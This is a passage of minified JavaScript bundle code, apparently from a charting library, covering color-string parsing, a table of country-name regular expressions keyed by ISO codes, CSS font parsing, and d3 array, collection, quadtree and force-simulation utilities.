l=a==="cmyk"?4:a==="gray"?1:3;t=g[2].trim().split(/\s*,\s*/).map(function(i,v){if(/%$/.test(i))return v===l?parseFloat(i)/100:a==="rgb"?parseFloat(i)*255/100:parseFloat(i);if(a[v]==="h"){if(/deg$/.test(i))return parseFloat(i);if(L[i]!==void 0)return L[i]}return parseFloat(i)}),s===a&&t.push(1),r=y||t[l]===void 0?1:t[l],t=t.slice(0,l)}else d.length>10&&/[0-9](?:\s|\/)/.test(d)&&(t=d.match(/([0-9]+)/g).map(function(b){return parseFloat(b)}),f=d.match(/([a-z])/ig).join("").toLowerCase());else if(!isNaN(d))f="rgb",t=[d>>>16,(d&65280)>>>8,d&255];else if(P(d)){var c=o(d.r,d.red,d.R,null);c!==null?(f="rgb",t=[c,o(d.g,d.green,d.G),o(d.b,d.blue,d.B)]):(f="hsl",t=[o(d.h,d.hue,d.H),o(d.s,d.saturation,d.S),o(d.l,d.lightness,d.L,d.b,d.brightness)]),r=o(d.a,d.alpha,d.opacity,1),d.opacity!=null&&(r/=100)}else(Array.isArray(d)||e.g.ArrayBuffer&&ArrayBuffer.isView&&ArrayBuffer.isView(d))&&(t=[d[0],d[1],d[2]],f="rgb",r=d.length===4?d[3]:1);return{space:f,values:t,alpha:r}}},36652:function(te,Z,e){var M=e(90736),P=e(80009),o=e(53435);te.exports=function(S){var d,g=M(S);return g.space?(d=Array(3),d[0]=o(g.values[0],0,255),d[1]=o(g.values[1],0,255),d[2]=o(g.values[2],0,255),g.space[0]==="h"&&(d=P.rgb(d)),d.push(o(g.alpha,0,1)),d):[]}},80009:function(te,Z,e){var M=e(6866);te.exports={name:"hsl",min:[0,0,0],max:[360,100,100],channel:["hue","saturation","lightness"],alias:["HSL"],rgb:function(P){var o=P[0]/360,L=P[1]/100,S=P[2]/100,d,g,t,r,f;if(L===0)return f=S*255,[f,f,f];S<.5?g=S*(1+L):g=S+L-S*L,d=2*S-g,r=[0,0,0];for(var a=0;a<3;a++)t=o+.3333333333333333*-(a-1),t<0?t++:t>1&&t--,6*t<1?f=d+(g-d)*6*t:2*t<1?f=g:3*t<2?f=d+(g-d)*(.6666666666666666-t)*6:f=d,r[a]=f*255;return r}},M.hsl=function(P){var o=P[0]/255,L=P[1]/255,S=P[2]/255,d=Math.min(o,L,S),g=Math.max(o,L,S),t=g-d,r,f,a;return g===d?r=0:o===g?r=(L-S)/t:L===g?r=2+(S-o)/t:S===g&&(r=4+(o-L)/t),r=Math.min(r*60,360),r<0&&(r+=360),a=(d+g)/2,g===d?f=0:a<=.5?f=t/(g+d):f=t/(2-g-d),[r,f*100,a*100]}},6866:function(te){te.exports={name:"rgb",min:[0,0,0],max:[255,255,255],channel:["red","green","blue"],alias:["RGB"]}},24138:function(te){te.exports={AFG:"afghan",ALA:"\\b\\wland",ALB:"albania",DZA:"algeria",ASM:"^(?=.*americ).*samoa",AND:"andorra",AGO:"angola",AIA:"anguill?a",ATA:"antarctica",ATG:"antigua",ARG:"argentin",ARM:"armenia",ABW:"^(?!.*bonaire).*\\baruba",AUS:"australia",AUT:"^(?!.*hungary).*austria|\\baustri.*\\bemp",AZE:"azerbaijan",BHS:"bahamas",BHR:"bahrain",BGD:"bangladesh|^(?=.*east).*paki?stan",BRB:"barbados",BLR:"belarus|byelo",BEL:"^(?!.*luxem).*belgium",BLZ:"belize|^(?=.*british).*honduras",BEN:"benin|dahome",BMU:"bermuda",BTN:"bhutan",BOL:"bolivia",BES:"^(?=.*bonaire).*eustatius|^(?=.*carib).*netherlands|\\bbes.?islands",BIH:"herzegovina|bosnia",BWA:"botswana|bechuana",BVT:"bouvet",BRA:"brazil",IOT:"british.?indian.?ocean",BRN:"brunei",BGR:"bulgaria",BFA:"burkina|\\bfaso|upper.?volta",BDI:"burundi",CPV:"verde",KHM:"cambodia|kampuchea|khmer",CMR:"cameroon",CAN:"canada",CYM:"cayman",CAF:"\\bcentral.african.republic",TCD:"\\bchad",CHL:"\\bchile",CHN:"^(?!.*\\bmac)(?!.*\\bhong)(?!.*\\btai)(?!.*\\brep).*china|^(?=.*peo)(?=.*rep).*china",CXR:"christmas",CCK:"\\bcocos|keeling",COL:"colombia",COM:"comoro",COG:"^(?!.*\\bdem)(?!.*\\bd[\\.]?r)(?!.*kinshasa)(?!.*zaire)(?!.*belg)(?!.*l.opoldville)(?!.*free).*\\bcongo",COK:"\\bcook",CRI:"costa.?rica",CIV:"ivoire|ivory",HRV:"croatia",CUB:"\\bcuba",CUW:"^(?!.*bonaire).*\\bcura(c|ç)ao",CYP:"cyprus",CSK:"czechoslovakia",CZE:"^(?=.*rep).*czech|czechia|bohemia",COD:"\\bdem.*congo|congo.*\\bdem|congo.*\\bd[\\.]?r|\\bd[\\.]?r.*congo|belgian.?congo|congo.?free.?state|kinshasa|zaire|l.opoldville|drc|droc|rdc",DNK:"denmark",DJI:"djibouti",DMA:"dominica(?!n)",DOM:"dominican.rep",ECU:"ecuador",EGY:"egypt",SLV:"el.?salvador",GNQ:"guine.*eq|eq.*guine|^(?=.*span).*guinea",ERI:"eritrea",EST:"estonia",ETH:"ethiopia|abyssinia",FLK:"falkland|malvinas",FRO:"faroe|faeroe",FJI:"fiji",FIN:"finland",FRA:"^(?!.*\\bdep)(?!.*martinique).*france|french.?republic|\\bgaul",GUF:"^(?=.*french).*guiana",PYF:"french.?polynesia|tahiti",ATF:"french.?southern",GAB:"gabon",GMB:"gambia",GEO:"^(?!.*south).*georgia",DDR:"german.?democratic.?republic|democratic.?republic.*germany|east.germany",DEU:"^(?!.*east).*germany|^(?=.*\\bfed.*\\brep).*german",GHA:"ghana|gold.?coast",GIB:"gibraltar",GRC:"greece|hellenic|hellas",GRL:"greenland",GRD:"grenada",GLP:"guadeloupe",GUM:"\\bguam",GTM:"guatemala",GGY:"guernsey",GIN:"^(?!.*eq)(?!.*span)(?!.*bissau)(?!.*portu)(?!.*new).*guinea",GNB:"bissau|^(?=.*portu).*guinea",GUY:"guyana|british.?guiana",HTI:"haiti",HMD:"heard.*mcdonald",VAT:"holy.?see|vatican|papal.?st",HND:"^(?!.*brit).*honduras",HKG:"hong.?kong",HUN:"^(?!.*austr).*hungary",ISL:"iceland",IND:"india(?!.*ocea)",IDN:"indonesia",IRN:"\\biran|persia",IRQ:"\\biraq|mesopotamia",IRL:"(^ireland)|(^republic.*ireland)",IMN:"^(?=.*isle).*\\bman",ISR:"israel",ITA:"italy",JAM:"jamaica",JPN:"japan",JEY:"jersey",JOR:"jordan",KAZ:"kazak",KEN:"kenya|british.?east.?africa|east.?africa.?prot",KIR:"kiribati",PRK:"^(?=.*democrat|people|north|d.*p.*.r).*\\bkorea|dprk|korea.*(d.*p.*r)",KWT:"kuwait",KGZ:"kyrgyz|kirghiz",LAO:"\\blaos?\\b",LVA:"latvia",LBN:"lebanon",LSO:"lesotho|basuto",LBR:"liberia",LBY:"libya",LIE:"liechtenstein",LTU:"lithuania",LUX:"^(?!.*belg).*luxem",MAC:"maca(o|u)",MDG:"madagascar|malagasy",MWI:"malawi|nyasa",MYS:"malaysia",MDV:"maldive",MLI:"\\bmali\\b",MLT:"\\bmalta",MHL:"marshall",MTQ:"martinique",MRT:"mauritania",MUS:"mauritius",MYT:"\\bmayotte",MEX:"\\bmexic",FSM:"fed.*micronesia|micronesia.*fed",MCO:"monaco",MNG:"mongolia",MNE:"^(?!.*serbia).*montenegro",MSR:"montserrat",MAR:"morocco|\\bmaroc",MOZ:"mozambique",MMR:"myanmar|burma",NAM:"namibia",NRU:"nauru",NPL:"nepal",NLD:"^(?!.*\\bant)(?!.*\\bcarib).*netherlands",ANT:"^(?=.*\\bant).*(nether|dutch)",NCL:"new.?caledonia",NZL:"new.?zealand",NIC:"nicaragua",NER:"\\bniger(?!ia)",NGA:"nigeria",NIU:"niue",NFK:"norfolk",MNP:"mariana",NOR:"norway",OMN:"\\boman|trucial",PAK:"^(?!.*east).*paki?stan",PLW:"palau",PSE:"palestin|\\bgaza|west.?bank",PAN:"panama",PNG:"papua|new.?guinea",PRY:"paraguay",PER:"peru",PHL:"philippines",PCN:"pitcairn",POL:"poland",PRT:"portugal",PRI:"puerto.?rico",QAT:"qatar",KOR:"^(?!.*d.*p.*r)(?!.*democrat)(?!.*people)(?!.*north).*\\bkorea(?!.*d.*p.*r)",MDA:"moldov|b(a|e)ssarabia",REU:"r(e|é)union",ROU:"r(o|u|ou)mania",RUS:"\\brussia|soviet.?union|u\\.?s\\.?s\\.?r|socialist.?republics",RWA:"rwanda",BLM:"barth(e|é)lemy",SHN:"helena",KNA:"kitts|\\bnevis",LCA:"\\blucia",MAF:"^(?=.*collectivity).*martin|^(?=.*france).*martin(?!ique)|^(?=.*french).*martin(?!ique)",SPM:"miquelon",VCT:"vincent",WSM:"^(?!.*amer).*samoa",SMR:"san.?marino",STP:"\\bs(a|ã)o.?tom(e|é)",SAU:"\\bsa\\w*.?arabia",SEN:"senegal",SRB:"^(?!.*monte).*serbia",SYC:"seychell",SLE:"sierra",SGP:"singapore",SXM:"^(?!.*martin)(?!.*saba).*maarten",SVK:"^(?!.*cze).*slovak",SVN:"slovenia",SLB:"solomon",SOM:"somali",ZAF:"south.africa|s\\\\..?africa",SGS:"south.?georgia|sandwich",SSD:"\\bs\\w*.?sudan",ESP:"spain",LKA:"sri.?lanka|ceylon",SDN:"^(?!.*\\bs(?!u)).*sudan",SUR:"surinam|dutch.?guiana",SJM:"svalbard",SWZ:"swaziland",SWE:"sweden",CHE:"switz|swiss",SYR:"syria",TWN:"taiwan|taipei|formosa|^(?!.*peo)(?=.*rep).*china",TJK:"tajik",THA:"thailand|\\bsiam",MKD:"macedonia|fyrom",TLS:"^(?=.*leste).*timor|^(?=.*east).*timor",TGO:"togo",TKL:"tokelau",TON:"tonga",TTO:"trinidad|tobago",TUN:"tunisia",TUR:"turkey",TKM:"turkmen",TCA:"turks",TUV:"tuvalu",UGA:"uganda",UKR:"ukrain",ARE:"emirates|^u\\.?a\\.?e\\.?$|united.?arab.?em",GBR:"united.?kingdom|britain|^u\\.?k\\.?$",TZA:"tanzania",USA:"united.?states\\b(?!.*islands)|\\bu\\.?s\\.?a\\.?\\b|^\\s*u\\.?s\\.?\\b(?!.*islands)",UMI:"minor.?outlying.?is",URY:"uruguay",UZB:"uzbek",VUT:"vanuatu|new.?hebrides",VEN:"venezuela",VNM:"^(?!.*republic).*viet.?nam|^(?=.*socialist).*viet.?nam",VGB:"^(?=.*\\bu\\.?\\s?k).*virgin|^(?=.*brit).*virgin|^(?=.*kingdom).*virgin",VIR:"^(?=.*\\bu\\.?\\s?s).*virgin|^(?=.*states).*virgin",WLF:"futuna|wallis",ESH:"western.sahara",YEM:"^(?!.*arab)(?!.*north)(?!.*sana)(?!.*peo)(?!.*dem)(?!.*south)(?!.*aden)(?!.*\\bp\\.?d\\.?r).*yemen",YMD:"^(?=.*peo).*yemen|^(?!.*rep)(?=.*dem).*yemen|^(?=.*south).*yemen|^(?=.*aden).*yemen|^(?=.*\\bp\\.?d\\.?r).*yemen",YUG:"yugoslavia",ZMB:"zambia|northern.?rhodesia",EAZ:"zanzibar",ZWE:"zimbabwe|^(?!.*northern).*rhodesia"}},72791:function(te,Z,e){te.exports={parse:e(41004),stringify:e(53313)}},63625:function(te,Z,e){var M=e(40402);te.exports={isSize:function(o){return/^[\d\.]/.test(o)||o.indexOf("/")!==-1||M.indexOf(o)!==-1}}},41004:function(te,Z,e){var M=e(90448),P=e(38732),o=e(41901),L=e(15659),S=e(96209),d=e(83794),g=e(99011),t=e(63625).isSize;te.exports=f;var r=f.cache={};function f(l){if(typeof l!="string")throw new Error("Font argument must be a string.");if(r[l])return r[l];if(l==="")throw new Error("Cannot parse an empty string.");if(o.indexOf(l)!==-1)return r[l]={system:l};for(var u={style:"normal",variant:"normal",weight:"normal",stretch:"normal",lineHeight:"normal",size:"1rem",family:["serif"]},s=g(l,/\s+/),y;y=s.shift();){if(P.indexOf(y)!==-1)return["style","variant","weight","stretch"].forEach(function(b){u[b]=y}),r[l]=u;if(S.indexOf(y)!==-1){u.style=y;continue}if(y==="normal"||y==="small-caps"){u.variant=y;continue}if(d.indexOf(y)!==-1){u.stretch=y;continue}if(L.indexOf(y)!==-1){u.weight=y;continue}if(t(y)){var c=g(y,"/");if(u.size=c[0],c[1]!=null?u.lineHeight=a(c[1]):s[0]==="/"&&(s.shift(),u.lineHeight=a(s.shift())),!s.length)throw new Error("Missing required font-family.");return u.family=g(s.join(" "),/\s*,\s*/).map(M),r[l]=u}throw new Error("Unknown or unsupported font token: "+y)}throw new Error("Missing required font-size.")}function a(l){var u=parseFloat(l);return u.toString()===l?u:l}},53313:function(te,Z,e){var M=e(71299),P=e(63625).isSize,o=l(e(38732)),L=l(e(41901)),S=l(e(15659)),d=l(e(96209)),g=l(e(83794)),t={normal:1,"small-caps":1},r={serif:1,"sans-serif":1,monospace:1,cursive:1,fantasy:1,"system-ui":1},f={style:"normal",variant:"normal",weight:"normal",stretch:"normal",size:"1rem",lineHeight:"normal",family:"serif"};te.exports=function(s){if(s=M(s,{style:"style fontstyle fontStyle font-style slope distinction",variant:"variant font-variant fontVariant fontvariant var capitalization",weight:"weight w font-weight fontWeight fontweight",stretch:"stretch font-stretch fontStretch fontstretch width",size:"size s font-size fontSize fontsize height em emSize",lineHeight:"lh line-height lineHeight lineheight leading",family:"font family fontFamily font-family fontfamily type typeface face",system:"system reserved default global"}),s.system)return s.system&&a(s.system,L),s.system;if(a(s.style,d),a(s.variant,t),a(s.weight,S),a(s.stretch,g),s.size==null&&(s.size=f.size),typeof s.size=="number"&&(s.size+="px"),!P)throw Error("Bad size value `"+s.size+"`");s.family||(s.family=f.family),Array.isArray(s.family)&&(s.family.length||(s.family=[f.family]),s.family=s.family.map(function(c){return r[c]?c:'"'+c+'"'}).join(", "));var y=[];return y.push(s.style),s.variant!==s.style&&y.push(s.variant),s.weight!==s.variant&&s.weight!==s.style&&y.push(s.weight),s.stretch!==s.weight&&s.stretch!==s.variant&&s.stretch!==s.style&&y.push(s.stretch),y.push(s.size+(s.lineHeight==null||s.lineHeight==="normal"||s.lineHeight+""=="1"?"":"/"+s.lineHeight)),y.push(s.family),y.filter(Boolean).join(" ")};function a(u,s){if(u&&!s[u]&&!o[u])throw Error("Unknown keyword `"+u+"`");return u}function l(u){for(var s={},y=0;y<u.length;y++)s[u[y]]=1;return s}},55174:function(te,Z,e){var M=e(24582),P=e(10424),o=e(82527),L=e(19012),S=e(21780),d=e(16906),g=Function.prototype.bind,t=Object.defineProperty,r=Object.prototype.hasOwnProperty,f;f=function(a,l,u){var s=P(l)&&o(l.value),y;return y=L(l),delete y.writable,delete y.value,y.get=function(){return!u.overwriteDefinition&&r.call(this,a)?s:(l.value=g.call(s,u.resolveContext?u.resolveContext(this):this),t(this,a,l),this[a])},y},te.exports=function(a){var l=S(arguments[1]);return M(l.resolveContext)&&o(l.resolveContext),d(a,function(u,s){return f(s,u,l)})}},62072:function(te,Z,e){var M=e(24582),P=e(84985),o=e(95879),L=e(21780),S=e(66741),d=te.exports=function(g,t){var r,f,a,l,u;return arguments.length<2||typeof g!="string"?(l=t,t=g,g=null):l=arguments[2],M(g)?(r=S.call(g,"c"),f=S.call(g,"e"),a=S.call(g,"w")):(r=a=!0,f=!1),u={value:t,configurable:r,enumerable:f,writable:a},l?o(L(l),u):u};d.gs=function(g,t,r){var f,a,l,u;return typeof g!="string"?(l=r,r=t,t=g,g=null):l=arguments[3],M(t)?P(t)?M(r)?P(r)||(l=r,r=void 0):r=void 0:(l=t,t=r=void 0):t=void 0,M(g)?(f=S.call(g,"c"),a=S.call(g,"e")):(f=!0,a=!1),u={get:t,set:r,configurable:f,enumerable:a},l?o(L(l),u):u}},33064:function(te,Z,e){e.d(Z,{j2:function(){return M},Fp:function(){return L},J6:function(){return d},TS:function(){return g},VV:function(){return t},w6:function(){return r},Sm:function(){return f}});function M(a,l){return a<l?-1:a>l?1:a>=l?0:NaN}function P(a){return a.length===1&&(a=o(a)),{left:function(l,u,s,y){for(s==null&&(s=0),y==null&&(y=l.length);s<y;){var c=s+y>>>1;a(l[c],u)<0?s=c+1:y=c}return s},right:function(l,u,s,y){for(s==null&&(s=0),y==null&&(y=l.length);s<y;){var c=s+y>>>1;a(l[c],u)>0?y=c:s=c+1}return s}}}function o(a){return function(l,u){return M(a(l),u)}}P(M);function L(a,l){var u=a.length,s=-1,y,c;if(l==null){for(;++s<u;)if((y=a[s])!=null&&y>=y)for(c=y;++s<u;)(y=a[s])!=null&&y>c&&(c=y)}else for(;++s<u;)if((y=l(a[s],s,a))!=null&&y>=y)for(c=y;++s<u;)(y=l(a[s],s,a))!=null&&y>c&&(c=y);return c}function S(a){return a===null?NaN:+a}function d(a,l){var u=a.length,s=u,y=-1,c,b=0;if(l==null)for(;++y<u;)isNaN(c=S(a[y]))?--s:b+=c;else for(;++y<u;)isNaN(c=S(l(a[y],y,a)))?--s:b+=c;if(s)return b/s}function g(a){for(var l=a.length,u,s=-1,y=0,c,b;++s<l;)y+=a[s].length;for(c=new Array(y);--l>=0;)for(b=a[l],u=b.length;--u>=0;)c[--y]=b[u];return c}function t(a,l){var u=a.length,s=-1,y,c;if(l==null){for(;++s<u;)if((y=a[s])!=null&&y>=y)for(c=y;++s<u;)(y=a[s])!=null&&c>y&&(c=y)}else for(;++s<u;)if((y=l(a[s],s,a))!=null&&y>=y)for(c=y;++s<u;)(y=l(a[s],s,a))!=null&&c>y&&(c=y);return c}function r(a,l,u){a=+a,l=+l,u=(y=arguments.length)<2?(l=a,a=0,1):y<3?1:+u;for(var s=-1,y=Math.max(0,Math.ceil((l-a)/u))|0,c=new Array(y);++s<y;)c[s]=a+s*u;return c}function f(a,l){var u=a.length,s=-1,y,c=0;if(l==null)for(;++s<u;)(y=+a[s])&&(c+=y);else for(;++s<u;)(y=+l(a[s],s,a))&&(c+=y);return c}},15140:function(te,Z,e){e.d(Z,{UI:function(){return L},b1:function(){return S}});var M="$";function P(){}P.prototype=o.prototype={constructor:P,has:function(l){return M+l in this},get:function(l){return this[M+l]},set:function(l,u){return this[M+l]=u,this},remove:function(l){var u=M+l;return u in this&&delete this[u]},clear:function(){for(var l in this)l[0]===M&&delete this[l]},keys:function(){var l=[];for(var u in this)u[0]===M&&l.push(u.slice(1));return l},values:function(){var l=[];for(var u in this)u[0]===M&&l.push(this[u]);return l},entries:function(){var l=[];for(var u in this)u[0]===M&&l.push({key:u.slice(1),value:this[u]});return l},size:function(){var l=0;for(var u in this)u[0]===M&&++l;return l},empty:function(){for(var l in this)if(l[0]===M)return!1;return!0},each:function(l){for(var u in this)u[0]===M&&l(this[u],u.slice(1),this)}};function o(l,u){var s=new P;if(l instanceof P)l.each(function(i,v){s.set(v,i)});else if(Array.isArray(l)){var y=-1,c=l.length,b;if(u==null)for(;++y<c;)s.set(y,l[y]);else for(;++y<c;)s.set(u(b=l[y],y,l),b)}else if(l)for(var h in l)s.set(h,l[h]);return s}var L=o;function S(){var l=[],u=[],s,y,c;function b(i,v,T,w){if(v>=l.length)return s!=null&&i.sort(s),y!=null?y(i):i;for(var E=-1,p=i.length,A=l[v++],m,n,C=L(),x,I=T();++E<p;)(x=C.get(m=A(n=i[E])+""))?x.push(n):C.set(m,[n]);return C.each(function(k,B){w(I,B,b(k,v,T,w))}),I}function h(i,v){if(++v>l.length)return i;var T,w=u[v-1];return y!=null&&v>=l.length?T=i.entries():(T=[],i.each(function(E,p){T.push({key:p,values:h(E,v)})})),w!=null?T.sort(function(E,p){return w(E.key,p.key)}):T}return c={object:function(i){return b(i,0,d,g)},map:function(i){return b(i,0,t,r)},entries:function(i){return h(b(i,0,t,r),0)},key:function(i){return l.push(i),c},sortKeys:function(i){return u[l.length-1]=i,c},sortValues:function(i){return s=i,c},rollup:function(i){return y=i,c}}}function d(){return{}}function g(l,u,s){l[u]=s}function t(){return L()}function r(l,u,s){l.set(u,s)}function f(){}var a=L.prototype;f.prototype={constructor:f,has:a.has,add:function(l){return l+="",this[M+l]=l,this},remove:a.remove,clear:a.clear,values:a.keys,size:a.size,empty:a.empty,each:a.each}},49887:function(te,Z,e){e.r(Z),e.d(Z,{forceCenter:function(){return M},forceCollide:function(){return C},forceLink:function(){return B},forceManyBody:function(){return Be},forceRadial:function(){return $e},forceSimulation:function(){return Ce},forceX:function(){return Xe},forceY:function(){return Ze}});function M(Ke,st){var lt;Ke==null&&(Ke=0),st==null&&(st=0);function ut(){var yt,bt=lt.length,Ot,Ge=0,Le=0;for(yt=0;yt<bt;++yt)Ot=lt[yt],Ge+=Ot.x,Le+=Ot.y;for(Ge=Ge/bt-Ke,Le=Le/bt-st,yt=0;yt<bt;++yt)Ot=lt[yt],Ot.x-=Ge,Ot.y-=Le}return ut.initialize=function(yt){lt=yt},ut.x=function(yt){return arguments.length?(Ke=+yt,ut):Ke},ut.y=function(yt){return arguments.length?(st=+yt,ut):st},ut}function P(Ke){return function(){return Ke}}function o(){return(Math.random()-.5)*1e-6}function L(Ke){var st=+this._x.call(null,Ke),lt=+this._y.call(null,Ke);return S(this.cover(st,lt),st,lt,Ke)}function S(Ke,st,lt,ut){if(isNaN(st)||isNaN(lt))return Ke;var yt,bt=Ke._root,Ot={data:ut},Ge=Ke._x0,Le=Ke._y0,Pe=Ke._x1,De=Ke._y1,Ee,ye,ae,de,Me,Ie,Qe,et;if(!bt)return Ke._root=Ot,Ke;for(;bt.length;)if((Me=st>=(Ee=(Ge+Pe)/2))?Ge=Ee:Pe=Ee,(Ie=lt>=(ye=(Le+De)/2))?Le=ye:De=ye,yt=bt,!(bt=bt[Qe=Ie<<1|Me]))return yt[Qe]=Ot,Ke;if(ae=+Ke._x.call(null,bt.data),de=+Ke._y.call(null,bt.data),st===ae&&lt===de)return Ot.next=bt,yt?yt[Qe]=Ot:Ke._root=Ot,Ke;do yt=yt?yt[Qe]=new Array(4):Ke._root=new Array(4),(Me=st>=(Ee=(Ge+Pe)/2))?Ge=Ee:Pe=Ee,(Ie=lt>=(ye=(Le+De)/2))?Le=ye:De=ye;while((Qe=Ie<<1|Me)===(et=(de>=ye)<<1|ae>=Ee));return yt[et]=bt,yt[Qe]=Ot,Ke}function d(Ke){var st,lt,ut=Ke.length,yt,bt,Ot=new Array(ut),Ge=new Array(ut),Le=1/0,Pe=1/0,De=-1/0,Ee=-1/0;for(lt=0;lt<ut;++lt)isNaN(yt=+this._x.call(null,st=Ke[lt]))||isNaN(bt=+this._y.call(null,st))||(Ot[lt]=yt,Ge[lt]=bt,yt<Le&&(Le=yt),yt>De&&(De=yt),bt<Pe&&(Pe=bt),bt>Ee&&(Ee=bt));if(Le>De||Pe>Ee)return this;for(this.cover(Le,Pe).cover(De,Ee),lt=0;lt<ut;++lt)S(this,Ot[lt],Ge[lt],Ke[lt]);return this}function g(Ke,st){if(isNaN(Ke=+Ke)||isNaN(st=+st))return this;var lt=this._x0,ut=this._y0,yt=this._x1,bt=this._y1;if(isNaN(lt))yt=(lt=Math.floor(Ke))+1,bt=(ut=Math.floor(st))+1;else{for(var Ot=yt-lt,Ge=this._root,Le,Pe;lt>Ke||Ke>=yt||ut>st||st>=bt;)switch(Pe=(st<ut)<<1|Ke<lt,Le=new Array(4),Le[Pe]=Ge,Ge=Le,Ot*=2,Pe){case 0:yt=lt+Ot,bt=ut+Ot;break;case 1:lt=yt-Ot,bt=ut+Ot;break;case 2:yt=lt+Ot,ut=bt-Ot;break;case 3:lt=yt-Ot,ut=bt-Ot;break}this._root&&this._root.length&&(this._root=Ge)}return this._x0=lt,this._y0=ut,this._x1=yt,this._y1=bt,this}function t(){var Ke=[];return this.visit(function(st){if(!st.length)do Ke.push(st.data);while(st=st.next)}),Ke}function r(Ke){return arguments.length?this.cover(+Ke[0][0],+Ke[0][1]).cover(+Ke[1][0],+Ke[1][1]):isNaN(this._x0)?void 0:[[this._x0,this._y0],[this._x1,this._y1]]}function f(Ke,st,lt,ut,yt){this.node=Ke,this.x0=st,this.y0=lt,this.x1=ut,this.y1=yt}function a(Ke,st,lt){var ut,yt=this._x0,bt=this._y0,Ot,Ge,Le,Pe,De=this._x1,Ee=this._y1,ye=[],ae=this._root,de,Me;for(ae&&ye.push(new f(ae,yt,bt,De,Ee)),lt==null?lt=1/0:(yt=Ke-lt,bt=st-lt,De=Ke+lt,Ee=st+lt,lt*=lt);de=ye.pop();)if(!(!(ae=de.node)||(Ot=de.x0)>De||(Ge=de.y0)>Ee||(Le=de.x1)<yt||(Pe=de.y1)<bt))if(ae.length){var Ie=(Ot+Le)/2,Qe=(Ge+Pe)/2;ye.push(new f(ae[3],Ie,Qe,Le,Pe),new f(ae[2],Ot,Qe,Ie,Pe),new f(ae[1],Ie,Ge,Le,Qe),new f(ae[0],Ot,Ge,Ie,Qe)),(Me=(st>=Qe)<<1|Ke>=Ie)&&(de=ye[ye.length-1],ye[ye.length-1]=ye[ye.length-1-Me],ye[ye.length-1-Me]=de)}else{var et=Ke-+this._x.call(null,ae.data),pt=st-+this._y.call(null,ae.data),St=et*et+pt*pt;if(St<lt){var _t=Math.sqrt(lt=St);yt=Ke-_t,bt=st-_t,De=Ke+_t,Ee=st+_t,ut=ae.data}}return ut}function l(Ke){if(isNaN(De=+this._x.call(null,Ke))||isNaN(Ee=+this._y.call(null,Ke)))return this;var st,lt=this._root,ut,yt,bt,Ot=this._x0,Ge=this._y0,Le=this._x1,Pe=this._y1,De,Ee,ye,ae,de,Me,Ie,Qe;if(!lt)return this;if(lt.length)for(;;){if((de=De>=(ye=(Ot+Le)/2))?Ot=ye:Le=ye,(Me=Ee>=(ae=(Ge+Pe)/2))?Ge=ae:Pe=ae,st=lt,!(lt=lt[Ie=Me<<1|de]))return this;if(!lt.length)break;(st[Ie+1&3]||st[Ie+2&3]||st[Ie+3&3])&&(ut=st,Qe=Ie)}for(;lt.data!==Ke;)if(yt=lt,!(lt=lt.next))return this;return(bt=lt.next)&&delete lt.next,yt?(bt?yt.next=bt:delete yt.next,this):st?(bt?st[Ie]=bt:delete st[Ie],(lt=st[0]||st[1]||st[2]||st[3])&&lt===(st[3]||st[2]||st[1]||st[0])&&!lt.length&&(ut?ut[Qe]=lt:this._root=lt),this):(this._root=bt,this)}function u(Ke){for(var st=0,lt=Ke.length;st<lt;++st)this.remove(Ke[st]);return this}function s(){return this._root}function y(){var Ke=0;return this.visit(function(st){if(!st.length)do++Ke;while(st=st.next)}),Ke}function c(Ke){var st=[],lt,ut=this._root,yt,bt,Ot,Ge,Le;for(ut&&st.push(new f(ut,this._x0,this._y0,this._x1,this._y1));lt=st.pop();)if(!Ke(ut=lt.node,bt=lt.x0,Ot=lt.y0,Ge=lt.x1,Le=lt.y1)&&ut.length){var Pe=(bt+Ge)/2,De=(Ot+Le)/2;(yt=ut[3])&&st.push(new f(yt,Pe,De,Ge,Le)),(yt=ut[2])&&st.push(new f(yt,bt,De,Pe,Le)),(yt=ut[1])&&st.push(new f(yt,Pe,Ot,Ge,De)),(yt=ut[0])&&st.push(new f(yt,bt,Ot,Pe,De))}return this}function b(Ke){var st=[],lt=[],ut;for(this._root&&st.push(new f(this._root,this._x0,this._y0,this._x1,this._y1));ut=st.pop();){var yt=ut.node;if(yt.length){var bt,Ot=ut.x0,Ge=ut.y0,Le=ut.x1,Pe=ut.y1,De=(Ot+Le)/2,Ee=(Ge+Pe)/2;(bt=yt[0])&&st.push(new f(bt,Ot,Ge,De,Ee)),(bt=yt[1])&&st.push(new f(bt,De,Ge,Le,Ee)),(bt=yt[2])&&st.push(new f(bt,Ot,Ee,De,Pe)),(bt=yt[3])&&st.push(new f(bt,De,Ee,Le,Pe))}lt.push(ut)}for(;ut=lt.pop();)Ke(ut.node,ut.x0,ut.y0,ut.x1,ut.y1);return this}function h(Ke){return Ke[0]}function i(Ke){return arguments.length?(this._x=Ke,this):this._x}function v(Ke){return Ke[1]}function T(Ke){return arguments.length?(this._y=Ke,this):this._y}function w(Ke,st,lt){var ut=new E(st??h,lt??v,NaN,NaN,NaN,NaN);return Ke==null?ut:ut.addAll(Ke)}function E(Ke,st,lt,ut,yt,bt){this._x=Ke,this._y=st,this._x0=lt,this._y0=ut,this._x1=yt,this._y1=bt,this._root=void 0}function p(Ke){for(var st={data:Ke.data},lt=st;Ke=Ke.next;)lt=lt.next={data:Ke.data};return st}var A=w.prototype=E.prototype;A.copy=function(){var Ke=new E(this._x,this._y,this._x0,this._y0,this._x1,this._y1),st=this._root,lt,ut;if(!st)return Ke;if(!st.length)return Ke._root=p(st),Ke;for(lt=[{source:st,target:Ke._root=new Array(4)}];st=lt.pop();)for(var yt=0;yt<4;++yt)(ut=st.source[yt])&&(ut.length?lt.push({source:ut,target:st.target[yt]=new Array(4)}):st.target[yt]=p(ut));return Ke},A.add=L,A.addAll=d,A.cover=g,A.data=t,A.extent=r,A.find=a,A.remove=l,A.removeAll=u,A.root=s,A.size=y,A.visit=c,A.visitAfter=b,A.x=i,A.y=T;function m(Ke){return Ke.x+Ke.vx}function n(Ke){return Ke.y+Ke.vy}function C(Ke){var st,lt,ut=1,yt=1;typeof Ke!="function"&&(Ke=P(Ke==null?1:+Ke));function bt(){for(var Le,Pe=st.length,De,Ee,ye,ae,de,Me,Ie=0;Ie<yt;++Ie)for(De=w(st,m,n).visitAfter(Ot),Le=0;Le<Pe;++Le)Ee=st[Le],de=lt[Ee.index],Me=de*de,ye=Ee.x+Ee.vx,ae=Ee.y+Ee.vy,De.visit(Qe);function Qe(et,pt,St,_t,Ft){var Tt=et.data,Gt=et.r,er=de+Gt;if(Tt){if(Tt.index>Ee.index){var 